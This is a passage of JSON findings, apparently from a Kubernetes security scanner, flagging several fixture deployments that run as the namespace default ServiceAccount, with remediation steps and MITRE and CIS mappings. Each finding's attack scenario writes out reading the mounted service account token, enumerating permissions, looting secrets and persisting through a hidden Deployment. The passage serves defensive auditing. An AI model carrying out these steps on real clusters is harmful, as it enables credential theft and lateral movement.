    "impact": "Token theft yields whatever permissions the namespace `default` SA has been granted (often elevated by drift); enables lateral movement to other workloads in the namespace.",
    "attack_scenario": [
      "RCE in the pod.",
      "Read the SA token: `cat /var/run/secrets/kubernetes.io/serviceaccount/token`.",
      "Enumerate permissions: `kubectl --token=$TOKEN auth can-i --list`.",
      "Exploit any usable verb. Common findings: `secrets/get` (loot all secrets), `pods/exec` (shell into other pods), `pods/create` with privileged template (escalate to node).",
      "Persist by creating a hidden Deployment with the same compromised SA."
    ],
    "evidence": {
      "service_account": "default"
    },
    "remediation": "Create a dedicated ServiceAccount per workload with least-privilege RBAC; disable automount on the namespace `default` SA.",
    "remediation_steps": [
      "Create a ServiceAccount: `kubectl -n containersec-fixtures create sa containersec-lifecycle-sa`. Grant only the verbs/resources the app actually needs via a Role + RoleBinding.",
      "Reference the new SA in the PodSpec via `serviceAccountName: containersec-lifecycle-sa`. If the app does NOT need to talk to the API at all, also set `automountServiceAccountToken: false`.",
      "Disable automount on the namespace default SA: `kubectl patch sa default -n containersec-fixtures -p '{\"automountServiceAccountToken\": false}'`.",
      "Validate: `kubectl get pod -n containersec-fixtures -l \u003cselector\u003e -o jsonpath='{.items[*].spec.serviceAccountName}'` returns the new SA, not `default`."
    ],
    "references": [
      "https://kubernetes.io/docs/tasks/configure-pod-container/configure-service-account/",
      "https://kubernetes.io/docs/concepts/security/service-accounts/",
      "https://kubernetes.io/docs/concepts/security/rbac-good-practices/"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — Configure Service Accounts for Pods",
        "url": "https://kubernetes.io/docs/tasks/configure-pod-container/configure-service-account/"
      },
      {
        "title": "Kubernetes — Service Accounts",
        "url": "https://kubernetes.io/docs/concepts/security/service-accounts/"
      },
      {
        "title": "Kubernetes — RBAC Good Practices",
        "url": "https://kubernetes.io/docs/concepts/security/rbac-good-practices/"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1552.001",
        "name": "Unsecured Credentials in Files",
        "url": "https://attack.mitre.org/techniques/T1552/001/"
      },
      {
        "id": "T1078",
        "name": "Valid Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/"
      },
      {
        "id": "T1528",
        "name": "Steal Application Access Token",
        "url": "https://attack.mitre.org/techniques/T1528/"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.1.5",
        "title": "Ensure that default service accounts are not actively used",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Authentication",
        "title": "Service account tokens",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:pod_security",
      "check:defaultServiceAccount"
    ]
  },
  {
    "id": "KUBE-SA-DEFAULT-001:Deployment:containersec-fixtures:containersec-limits",
    "rule_id": "KUBE-SA-DEFAULT-001",
    "severity": "MEDIUM",
    "score": 5.4,
    "category": "privilege_escalation",
    "title": "Workload `Deployment/containersec-fixtures/containersec-limits` runs as the namespace `default` ServiceAccount",
    "description": "Workload `Deployment/containersec-fixtures/containersec-limits` does not specify `serviceAccountName` and therefore runs as the namespace's `default` ServiceAccount, which by default has its token auto-mounted at `/var/run/secrets/kubernetes.io/serviceaccount/token`.\n\nThe `default` SA is harmless in a fresh namespace, but it is a magnet for permission accumulation: operators, Helm charts, and ClusterRoleBindings frequently bind permissions to it (often by mistake, via `subjects: [{kind: ServiceAccount, name: default, namespace: foo}]`), and the only way to know if the SA is dangerous is to enumerate every binding referencing it.\n\nThe Kubernetes RBAC Good Practices guide explicitly recommends per-workload ServiceAccounts so that the blast radius of an exposed token is bounded by a single workload's needs. An attacker with RCE in this pod reads the token, then runs `kubectl auth can-i --list` to find every accreted permission, often elevated by drift over the namespace's lifetime.",
    "resource": {
      "kind": "Deployment",
      "name": "containersec-limits",
      "namespace": "containersec-fixtures",
      "api_group": "apps"
    },
    "namespace": "containersec-fixtures",
    "scope": {
      "level": "workload",
      "detail": "Workload `Deployment/containersec-fixtures/containersec-limits`"
    },
    "impact": "Token theft yields whatever permissions the namespace `default` SA has been granted (often elevated by drift); enables lateral movement to other workloads in the namespace.",
    "attack_scenario": [
      "RCE in the pod.",
      "Read the SA token: `cat /var/run/secrets/kubernetes.io/serviceaccount/token`.",
      "Enumerate permissions: `kubectl --token=$TOKEN auth can-i --list`.",
      "Exploit any usable verb. Common findings: `secrets/get` (loot all secrets), `pods/exec` (shell into other pods), `pods/create` with privileged template (escalate to node).",
      "Persist by creating a hidden Deployment with the same compromised SA."
    ],
    "evidence": {
      "service_account": "default"
    },
    "remediation": "Create a dedicated ServiceAccount per workload with least-privilege RBAC; disable automount on the namespace `default` SA.",
    "remediation_steps": [
      "Create a ServiceAccount: `kubectl -n containersec-fixtures create sa containersec-limits-sa`. Grant only the verbs/resources the app actually needs via a Role + RoleBinding.",
      "Reference the new SA in the PodSpec via `serviceAccountName: containersec-limits-sa`. If the app does NOT need to talk to the API at all, also set `automountServiceAccountToken: false`.",
      "Disable automount on the namespace default SA: `kubectl patch sa default -n containersec-fixtures -p '{\"automountServiceAccountToken\": false}'`.",
      "Validate: `kubectl get pod -n containersec-fixtures -l \u003cselector\u003e -o jsonpath='{.items[*].spec.serviceAccountName}'` returns the new SA, not `default`."
    ],
    "references": [
      "https://kubernetes.io/docs/tasks/configure-pod-container/configure-service-account/",
      "https://kubernetes.io/docs/concepts/security/service-accounts/",
      "https://kubernetes.io/docs/concepts/security/rbac-good-practices/"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — Configure Service Accounts for Pods",
        "url": "https://kubernetes.io/docs/tasks/configure-pod-container/configure-service-account/"
      },
      {
        "title": "Kubernetes — Service Accounts",
        "url": "https://kubernetes.io/docs/concepts/security/service-accounts/"
      },
      {
        "title": "Kubernetes — RBAC Good Practices",
        "url": "https://kubernetes.io/docs/concepts/security/rbac-good-practices/"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1552.001",
        "name": "Unsecured Credentials in Files",
        "url": "https://attack.mitre.org/techniques/T1552/001/"
      },
      {
        "id": "T1078",
        "name": "Valid Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/"
      },
      {
        "id": "T1528",
        "name": "Steal Application Access Token",
        "url": "https://attack.mitre.org/techniques/T1528/"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.1.5",
        "title": "Ensure that default service accounts are not actively used",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Authentication",
        "title": "Service account tokens",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:pod_security",
      "check:defaultServiceAccount"
    ]
  },
  {
    "id": "KUBE-SA-DEFAULT-001:Deployment:containersec-fixtures:containersec-probes",
    "rule_id": "KUBE-SA-DEFAULT-001",
    "severity": "MEDIUM",
    "score": 5.4,
    "category": "privilege_escalation",
    "title": "Workload `Deployment/containersec-fixtures/containersec-probes` runs as the namespace `default` ServiceAccount",
    "description": "Workload `Deployment/containersec-fixtures/containersec-probes` does not specify `serviceAccountName` and therefore runs as the namespace's `default` ServiceAccount, which by default has its token auto-mounted at `/var/run/secrets/kubernetes.io/serviceaccount/token`.\n\nThe `default` SA is harmless in a fresh namespace, but it is a magnet for permission accumulation: operators, Helm charts, and ClusterRoleBindings frequently bind permissions to it (often by mistake, via `subjects: [{kind: ServiceAccount, name: default, namespace: foo}]`), and the only way to know if the SA is dangerous is to enumerate every binding referencing it.\n\nThe Kubernetes RBAC Good Practices guide explicitly recommends per-workload ServiceAccounts so that the blast radius of an exposed token is bounded by a single workload's needs. An attacker with RCE in this pod reads the token, then runs `kubectl auth can-i --list` to find every accreted permission, often elevated by drift over the namespace's lifetime.",
    "resource": {
      "kind": "Deployment",
      "name": "containersec-probes",
      "namespace": "containersec-fixtures",
      "api_group": "apps"
    },
    "namespace": "containersec-fixtures",
    "scope": {
      "level": "workload",
      "detail": "Workload `Deployment/containersec-fixtures/containersec-probes`"
    },
    "impact": "Token theft yields whatever permissions the namespace `default` SA has been granted (often elevated by drift); enables lateral movement to other workloads in the namespace.",
    "attack_scenario": [
      "RCE in the pod.",
      "Read the SA token: `cat /var/run/secrets/kubernetes.io/serviceaccount/token`.",
      "Enumerate permissions: `kubectl --token=$TOKEN auth can-i --list`.",
      "Exploit any usable verb. Common findings: `secrets/get` (loot all secrets), `pods/exec` (shell into other pods), `pods/create` with privileged template (escalate to node).",
      "Persist by creating a hidden Deployment with the same compromised SA."
    ],
    "evidence": {
      "service_account": "default"
    },
    "remediation": "Create a dedicated ServiceAccount per workload with least-privilege RBAC; disable automount on the namespace `default` SA.",
    "remediation_steps": [
      "Create a ServiceAccount: `kubectl -n containersec-fixtures create sa containersec-probes-sa`. Grant only the verbs/resources the app actually needs via a Role + RoleBinding.",
      "Reference the new SA in the PodSpec via `serviceAccountName: containersec-probes-sa`. If the app does NOT need to talk to the API at all, also set `automountServiceAccountToken: false`.",
      "Disable automount on the namespace default SA: `kubectl patch sa default -n containersec-fixtures -p '{\"automountServiceAccountToken\": false}'`.",
      "Validate: `kubectl get pod -n containersec-fixtures -l \u003cselector\u003e -o jsonpath='{.items[*].spec.serviceAccountName}'` returns the new SA, not `default`."
    ],
    "references": [
      "https://kubernetes.io/docs/tasks/configure-pod-container/configure-service-account/",
      "https://kubernetes.io/docs/concepts/security/service-accounts/",
      "https://kubernetes.io/docs/concepts/security/rbac-good-practices/"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — Configure Service Accounts for Pods",
        "url": "https://kubernetes.io/docs/tasks/configure-pod-container/configure-service-account/"
      },
      {
        "title": "Kubernetes — Service Accounts",
        "url": "https://kubernetes.io/docs/concepts/security/service-accounts/"
      },
      {
        "title": "Kubernetes — RBAC Good Practices",
        "url": "https://kubernetes.io/docs/concepts/security/rbac-good-practices/"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1552.001",
        "name": "Unsecured Credentials in Files",
        "url": "https://attack.mitre.org/techniques/T1552/001/"
      },
      {
        "id": "T1078",
        "name": "Valid Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/"
      },
      {
        "id": "T1528",
        "name": "Steal Application Access Token",
        "url": "https://attack.mitre.org/techniques/T1528/"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.1.5",
        "title": "Ensure that default service accounts are not actively used",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Authentication",
        "title": "Service account tokens",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:pod_security",
      "check:defaultServiceAccount"
    ]
  },
  {
    "id": "KUBE-SA-DEFAULT-001:Deployment:flat-network:api",
    "rule_id": "KUBE-SA-DEFAULT-001",
    "severity": "MEDIUM",
    "score": 5.4,
    "category": "privilege_escalation",
    "title": "Workload `Deployment/flat-network/api` runs as the namespace `default` ServiceAccount",
    "description": "Workload `Deployment/flat-network/api` does not specify `serviceAccountName` and therefore runs as the namespace's `default` ServiceAccount, which by default has its token auto-mounted at `/var/run/secrets/kubernetes.io/serviceaccount/token`.\n\nThe `default` SA is harmless in a fresh namespace, but it is a magnet for permission accumulation: operators, Helm charts, and ClusterRoleBindings frequently bind permissions to it (often by mistake, via `subjects: [{kind: ServiceAccount, name: default, namespace: foo}]`), and the only way to know if the SA is dangerous is to enumerate every binding referencing it.\n\nThe Kubernetes RBAC Good Practices guide explicitly recommends per-workload ServiceAccounts so that the blast radius of an exposed token is bounded by a single workload's needs. An attacker with RCE in this pod reads the token, then runs `kubectl auth can-i --list` to find every accreted permission, often elevated by drift over the namespace's lifetime.",
    "resource": {
      "kind": "Deployment",
      "name": "api",
      "namespace": "flat-network",
      "api_group": "apps"
    },
    "namespace": "flat-network",
    "scope": {
      "level": "workload",
      "detail": "Workload `Deployment/flat-network/api`"
    },
    "impact": "Token theft yields whatever permissions the namespace `default` SA has been granted (often elevated by drift); enables lateral movement to other workloads in the namespace.",
    "attack_scenario": [
      "RCE in the pod.",
      "Read the SA token: `cat /var/run/secrets/kubernetes.io/serviceaccount/token`.",
      "Enumerate permissions: `kubectl --token=$TOKEN auth can-i --list`.",
      "Exploit any usable verb. Common findings: `secrets/get` (loot all secrets), `pods/exec` (shell into other pods), `pods/create` with privileged template (escalate to node).",
      "Persist by creating a hidden Deployment with the same compromised SA."
    ],
    "evidence": {
      "service_account": "default"
    },
    "remediation": "Create a dedicated ServiceAccount per workload with least-privilege RBAC; disable automount on the namespace `default` SA.",
    "remediation_steps": [
      "Create a ServiceAccount: `kubectl -n flat-network create sa api-sa`. Grant only the verbs/resources the app actually needs via a Role + RoleBinding.",
      "Reference the new SA in the PodSpec via `serviceAccountName: api-sa`. If the app does NOT need to talk to the API at all, also set `automountServiceAccountToken: false`.",
      "Disable automount on the namespace default SA: `kubectl patch sa default -n flat-network -p '{\"automountServiceAccountToken\": false}'`.",
      "Validate: `kubectl get pod -n flat-network -l \u003cselector\u003e -o jsonpath='{.items[*].spec.serviceAccountName}'` returns the new SA, not `default`."
    ],
    "references": [
      "https://kubernetes.io/docs/tasks/configure-pod-container/configure-service-account/",
      "https://kubernetes.io/docs/concepts/security/service-accounts/",
      "https://kubernetes.io/docs/concepts/security/rbac-good-practices/"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — Configure Service Accounts for Pods",
        "url": "https://kubernetes.io/docs/tasks/configure-pod-container/configure-service-account/"
      },
      {
        "title": "Kubernetes — Service Accounts",
        "url": "https://kubernetes.io/docs/concepts/security/service-accounts/"
      },
      {
        "title": "Kubernetes — RBAC Good Practices",
        "url": "https://kubernetes.io/docs/concepts/security/rbac-good-practices/"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1552.001",
        "name": "Unsecured Credentials in Files",
        "url": "https://attack.mitre.org/techniques/T1552/001/"
      },
      {
        "id": "T1078",
        "name": "Valid Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/"
      },
      {
        "id": "T1528",
        "name": "Steal Application Access Token",
        "url": "https://attack.mitre.org/techniques/T1528/"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.1.5",
        "title": "Ensure that default service accounts are not actively used",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Authentication",
        "title": "Service account tokens",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:pod_security",
      "check:defaultServiceAccount"
    ]
  },
  {
    "id": "KUBE-SA-DEFAULT-001:Deployment:flat-network:unmatched",
    "rule_id": "KUBE-SA-DEFAULT-001",
    "severity": "MEDIUM",
    "score": 5.4,
    "category": "privilege_escalation",
    "title": "Workload `Deployment/flat-network/unmatched` runs as the namespace `default` ServiceAccount",
    "description": "Workload `Deployment/flat-network/unmatched` does not specify `serviceAccountName` and therefore runs as the namespace's `default` ServiceAccount, which by default has its token auto-mounted at `/var/run/secrets/kubernetes.io/serviceaccount/token`.\n\nThe `default` SA is harmless in a fresh namespace, but it is a magnet for permission accumulation: operators, Helm charts, and ClusterRoleBindings frequently bind permissions to it (often by mistake, via `subjects: [{kind: ServiceAccount, name: default, namespace: foo}]`), and the only way to know if the SA is dangerous is to enumerate every binding referencing it.\n\nThe Kubernetes RBAC Good Practices guide explicitly recommends per-workload ServiceAccounts so that the blast radius of an exposed token is bounded by a single workload's needs. An attacker with RCE in this pod reads the token, then runs `kubectl auth can-i --list` to find every accreted permission, often elevated by drift over the namespace's lifetime.",
    "resource": {
      "kind": "Deployment",
      "name": "unmatched",
      "namespace": "flat-network",
      "api_group": "apps"
    },
    "namespace": "flat-network",
    "scope": {
      "level": "workload",
      "detail": "Workload `Deployment/flat-network/unmatched`"
    },
    "impact": "Token theft yields whatever permissions the namespace `default` SA has been granted (often elevated by drift); enables lateral movement to other workloads in the namespace.",
    "attack_scenario": [
      "RCE in the pod.",
      "Read the SA token: `cat /var/run/secrets/kubernetes.io/serviceaccount/token`.",
      "Enumerate permissions: `kubectl --token=$TOKEN auth can-i --list`.",
      "Exploit any usable verb. Common findings: `secrets/get` (loot all secrets), `pods/exec` (shell into other pods), `pods/create` with privileged template (escalate to node).",
      "Persist by creating a hidden Deployment with the same compromised SA."
    ],
    "evidence": {
      "service_account": "default"
    },
    "remediation": "Create a dedicated ServiceAccount per workload with least-privilege RBAC; disable automount on the namespace `default` SA.",
    "remediation_steps": [
      "Create a ServiceAccount: `kubectl -n flat-network create sa unmatched-sa`. Grant only the verbs/resources the app actually needs via a Role + RoleBinding.",
      "Reference the new SA in the PodSpec via `serviceAccountName: unmatched-sa`. If the app does NOT need to talk to the API at all, also set `automountServiceAccountToken: false`.",
      "Disable automount on the namespace default SA: `kubectl patch sa default -n flat-network -p '{\"automountServiceAccountToken\": false}'`.",
      "Validate: `kubectl get pod -n flat-network -l \u003cselector\u003e -o jsonpath='{.items[*].spec.serviceAccountName}'` returns the new SA, not `default`."
    ],
    "references": [
      "https://kubernetes.io/docs/tasks/configure-pod-container/configure-service-account/",
      "https://kubernetes.io/docs/concepts/security/service-accounts/",
      "https://kubernetes.io/docs/concepts/security/rbac-good-practices/"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — Configure Service Accounts for Pods",
        "url": "https://kubernetes.io/docs/tasks/configure-pod-container/configure-service-account/"
      },
      {
        "title": "Kubernetes — Service Accounts",
        "url": "https://kubernetes.io/docs/concepts/security/service-accounts/"
      },
      {
        "title": "Kubernetes — RBAC Good Practices",
        "url": "https://kubernetes.io/docs/concepts/security/rbac-good-practices/"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1552.001",
        "name": "Unsecured Credentials in Files",
        "url": "https://attack.mitre.org/techniques/T1552/001/"
      },
      {
        "id": "T1078",
        "name": "Valid Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/"
      },
      {
        "id": "T1528",
        "name": "Steal Application Access Token",
        "url": "https://attack.mitre.org/techniques/T1528/"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.1.5",
        "title": "Ensure that default service accounts are not actively used",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Authentication",
        "title": "Service account tokens",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:pod_security",
      "check:defaultServiceAccount"
    ]
  },
  {
    "id": "KUBE-SA-DEFAULT-001:Deployment:hookbackend-fixtures:hookbackend-injector",
    "rule_id": "KUBE-SA-DEFAULT-001",
    "severity": "MEDIUM",
    "score": 5.4,
    "category": "privilege_escalation",
    "title": "Workload `Deployment/hookbackend-fixtures/hookbackend-injector` runs as the namespace `default` ServiceAccount",
    "description": "Workload `Deployment/hookbackend-fixtures/hookbackend-injector` does not specify `serviceAccountName` and therefore runs as the namespace's `default` ServiceAccount, which by default has its token auto-mounted at `/var/run/secrets/kubernetes.io/serviceaccount/token`.\n\nThe `default` SA is harmless in a fresh namespace, but it is a magnet for permission accumulation: operators, Helm charts, and ClusterRoleBindings frequently bind permissions to it (often by mistake, via `subjects: [{kind: ServiceAccount, name: default, namespace: foo}]`), and the only way to know if the SA is dangerous is to enumerate every binding referencing it.\n\nThe Kubernetes RBAC Good Practices guide explicitly recommends per-workload ServiceAccounts so that the blast radius of an exposed token is bounded by a single workload's needs. An attacker with RCE in this pod reads the token, then runs `kubectl auth can-i --list` to find every accreted permission, often elevated by drift over the namespace's lifetime.",
    "resource": {
      "kind": "Deployment",
      "name": "hookbackend-injector",
      "namespace": "hookbackend-fixtures",
      "api_group": "apps"
    },
    "namespace": "hookbackend-fixtures",
    "scope": {
      "level": "workload",
      "detail": "Workload `Deployment/hookbackend-fixtures/hookbackend-injector`"
    },
    "impact": "Token theft yields whatever permissions the namespace `default` SA has been granted (often elevated by drift); enables lateral movement to other workloads in the namespace.",
    "attack_scenario": [
      "RCE in the pod.",
      "Read the SA token: `cat /var/run/secrets/kubernetes.io/serviceaccount/token`.",
      "Enumerate permissions: `kubectl --token=$TOKEN auth can-i --list`.",
      "Exploit any usable verb. Common findings: `secrets/get` (loot all secrets), `pods/exec` (shell into other pods), `pods/create` with privileged template (escalate to node).",
      "Persist by creating a hidden Deployment with the same compromised SA."
    ],
    "evidence": {
      "service_account": "default"
    },
    "remediation": "Create a dedicated ServiceAccount per workload with least-privilege RBAC; disable automount on the namespace `default` SA.",
    "remediation_steps": [
      "Create a ServiceAccount: `kubectl -n hookbackend-fixtures create sa hookbackend-injector-sa`. Grant only the verbs/resources the app actually needs via a Role + RoleBinding.",
      "Reference the new SA in the PodSpec via `serviceAccountName: hookbackend-injector-sa`. If the app does NOT need to talk to the API at all, also set `automountServiceAccountToken: false`.",
      "Disable automount on the namespace default SA: `kubectl patch sa default -n hookbackend-fixtures -p '{\"automountServiceAccountToken\": false}'`.",
      "Validate: `kubectl get pod -n hookbackend-fixtures -l \u003cselector\u003e -o jsonpath='{.items[*].spec.serviceAccountName}'` returns the new SA, not `default`."
    ],
    "references": [
      "https://kubernetes.io/docs/tasks/configure-pod-container/configure-service-account/",
      "https://kubernetes.io/docs/concepts/security/service-accounts/",
      "https://kubernetes.io/docs/concepts/security/rbac-good-practices/"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — Configure Service Accounts for Pods",
        "url": "https://kubernetes.io/docs/tasks/configure-pod-container/configure-service-account/"
      },
      {
        "title": "Kubernetes — Service Accounts",
        "url": "https://kubernetes.io/docs/concepts/security/service-accounts/"
      },
      {
        "title": "Kubernetes — RBAC Good Practices",
        "url": "https://kubernetes.io/docs/concepts/security/rbac-good-practices/"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1552.001",
        "name": "Unsecured Credentials in Files",
        "url": "https://attack.mitre.org/techniques/T1552/001/"
      },
      {
        "id": "T1078",
        "name": "Valid Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/"
      },
      {
        "id": "T1528",
        "name": "Steal Application Access Token",
        "url": "https://attack.mitre.org/techniques/T1528/"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.1.5",
        "title": "Ensure that default service accounts are not actively used",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Authentication",
        "title": "Service account tokens",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:pod_security",
      "check:defaultServiceAccount"
    ]
  },
  {
    "id": "KUBE-SA-DEFAULT-001:Deployment:ingress-only:ingress-app",
    "rule_id": "KUBE-SA-DEFAULT-001",
    "severity": "MEDIUM",
    "score": 5.4,
    "category": "privilege_escalation",
    "title": "Workload `Deployment/ingress-only/ingress-app` runs as the namespace `default` ServiceAccount",
    "description": "Workload `Deployment/ingress-only/ingress-app` does not specify `serviceAccountName` and therefore runs as the namespace's `default` ServiceAccount, which by default has its token auto-mounted at `/var/run/secrets/kubernetes.io/serviceaccount/token`.\n\nThe `default` SA is harmless in a fresh namespace, but it is a magnet for permission accumulation: operators, Helm charts, and ClusterRoleBindings frequently bind permissions to it (often by mistake, via `subjects: [{kind: ServiceAccount, name: default, namespace: foo}]`), and the only way to know if the SA is dangerous is to enumerate every binding referencing it.\n\nThe Kubernetes RBAC Good Practices guide explicitly recommends per-workload ServiceAccounts so that the blast radius of an exposed token is bounded by a single workload's needs. An attacker with RCE in this pod reads the token, then runs `kubectl auth can-i --list` to find every accreted permission, often elevated by drift over the namespace's lifetime.",
    "resource": {
      "kind": "Deployment",
      "name": "ingress-app",
      "namespace": "ingress-only",
      "api_group": "apps"
    },
    "namespace": "ingress-only",
    "scope": {
      "level": "workload",
      "detail": "Workload `Deployment/ingress-only/ingress-app`"
    },
    "impact": "Token theft yields whatever permissions the namespace `default` SA has been granted (often elevated by drift); enables lateral movement to other workloads in the namespace.",
    "attack_scenario": [
      "RCE in the pod.",
      "Read the SA token: `cat /var/run/secrets/kubernetes.io/serviceaccount/token`.",
      "Enumerate permissions: `kubectl --token=$TOKEN auth can-i --list`.",
      "Exploit any usable verb. Common findings: `secrets/get` (loot all secrets), `pods/exec` (shell into other pods), `pods/create` with privileged template (escalate to node).",
      "Persist by creating a hidden Deployment with the same compromised SA."
    ],
    "evidence": {
      "service_account": "default"
    },
    "remediation": "Create a dedicated ServiceAccount per workload with least-privilege RBAC; disable automount on the namespace `default` SA.",
    "remediation_steps": [
      "Create a ServiceAccount: `kubectl -n ingress-only create sa ingress-app-sa`. Grant only the verbs/resources the app actually needs via a Role + RoleBinding.",
      "Reference the new SA in the PodSpec via `serviceAccountName: ingress-app-sa`. If the app does NOT need to talk to the API at all, also set `automountServiceAccountToken: false`.",
      "Disable automount on the namespace default SA: `kubectl patch sa default -n ingress-only -p '{\"automountServiceAccountToken\": false}'`.",
      "Validate: `kubectl get pod -n ingress-only -l \u003cselector\u003e -o jsonpath='{.items[*].spec.serviceAccountName}'` returns the new SA, not `default`."
    ],
    "references": [
      "https://kubernetes.io/docs/tasks/configure-pod-container/configure-service-account/",
      "https://kubernetes.io/docs/concepts/security/service-accounts/",
      "https://kubernetes.io/docs/concepts/security/rbac-good-practices/"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — Configure Service Accounts for Pods",
        "url": "https://kubernetes.io/docs/tasks/configure-pod-container/configure-service-account/"
      },
      {
        "title": "Kubernetes — Service Accounts",
        "url": "https://kubernetes.io/docs/concepts/security/service-accounts/"
      },
      {
        "title": "Kubernetes — RBAC Good Practices",
        "url": "https://kubernetes.io/docs/concepts/security/rbac-good-practices/"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1552.001",
        "name": "Unsecured Credentials in Files",
        "url": "https://attack.mitre.org/techniques/T1552/001/"
      },
      {
        "id": "T1078",
        "name": "Valid Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/"
      },
      {
        "id": "T1528",
        "name": "Steal Application Access Token",
        "url": "https://attack.mitre.org/techniques/T1528/"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.1.5",
        "title": "Ensure that default service accounts are not actively used",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Authentication",
        "title": "Service account tokens",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:pod_security",
      "check:defaultServiceAccount"
    ]
  },
  {
    "id": "KUBE-SA-DEFAULT-001:Deployment:netpol-imds:imds-allow-app",
    "rule_id": "KUBE-SA-DEFAULT-001",
    "severity": "MEDIUM",
    "score": 5.4,
    "category": "privilege_escalation",
    "title": "Workload `Deployment/netpol-imds/imds-allow-app` runs as the namespace `default` ServiceAccount",
    "description": "Workload `Deployment/netpol-imds/imds-allow-app` does not specify `serviceAccountName` and therefore runs as the namespace's `default` ServiceAccount, which by default has its token auto-mounted at `/var/run/secrets/kubernetes.io/serviceaccount/token`.\n\nThe `default` SA is harmless in a fresh namespace, but it is a magnet for permission accumulation: operators, Helm charts, and ClusterRoleBindings frequently bind permissions to it (often by mistake, via `subjects: [{kind: ServiceAccount, name: default, namespace: foo}]`), and the only way to know if the SA is dangerous is to enumerate every binding referencing it.\n\nThe Kubernetes RBAC Good Practices guide explicitly recommends per-workload ServiceAccounts so that the blast radius of an exposed token is bounded by a single workload's needs. An attacker with RCE in this pod reads the token, then runs `kubectl auth can-i --list` to find every accreted permission, often elevated by drift over the namespace's lifetime.",
    "resource": {
      "kind": "Deployment",
      "name": "imds-allow-app",
      "namespace": "netpol-imds",
      "api_group": "apps"
    },
    "namespace": "netpol-imds",
    "scope": {
      "level": "workload",
      "detail": "Workload `Deployment/netpol-imds/imds-allow-app`"
    },
    "impact": "Token theft yields whatever permissions the namespace `default` SA has been granted (often elevated by drift); enables lateral movement to other workloads in the namespace.",
    "attack_scenario": [
      "RCE in the pod.",
      "Read the SA token: `cat /var/run/secrets/kubernetes.io/serviceaccount/token`.",
      "Enumerate permissions: `kubectl --token=$TOKEN auth can-i --list`.",
      "Exploit any usable verb. Common findings: `secrets/get` (loot all secrets), `pods/exec` (shell into other pods), `pods/create` with privileged template (escalate to node).",
      "Persist by creating a hidden Deployment with the same compromised SA."
    ],
    "evidence": {
      "service_account": "default"
    },
    "remediation": "Create a dedicated ServiceAccount per workload with least-privilege RBAC; disable automount on the namespace `default` SA.",
    "remediation_steps": [
      "Create a ServiceAccount: `kubectl -n netpol-imds create sa imds-allow-app-sa`. Grant only the verbs/resources the app actually needs via a Role + RoleBinding.",
      "Reference the new SA in the PodSpec via `serviceAccountName: imds-allow-app-sa`. If the app does NOT need to talk to the API at all, also set `automountServiceAccountToken: false`.",
      "Disable automount on the namespace default SA: `kubectl patch sa default -n netpol-imds -p '{\"automountServiceAccountToken\": false}'`.",
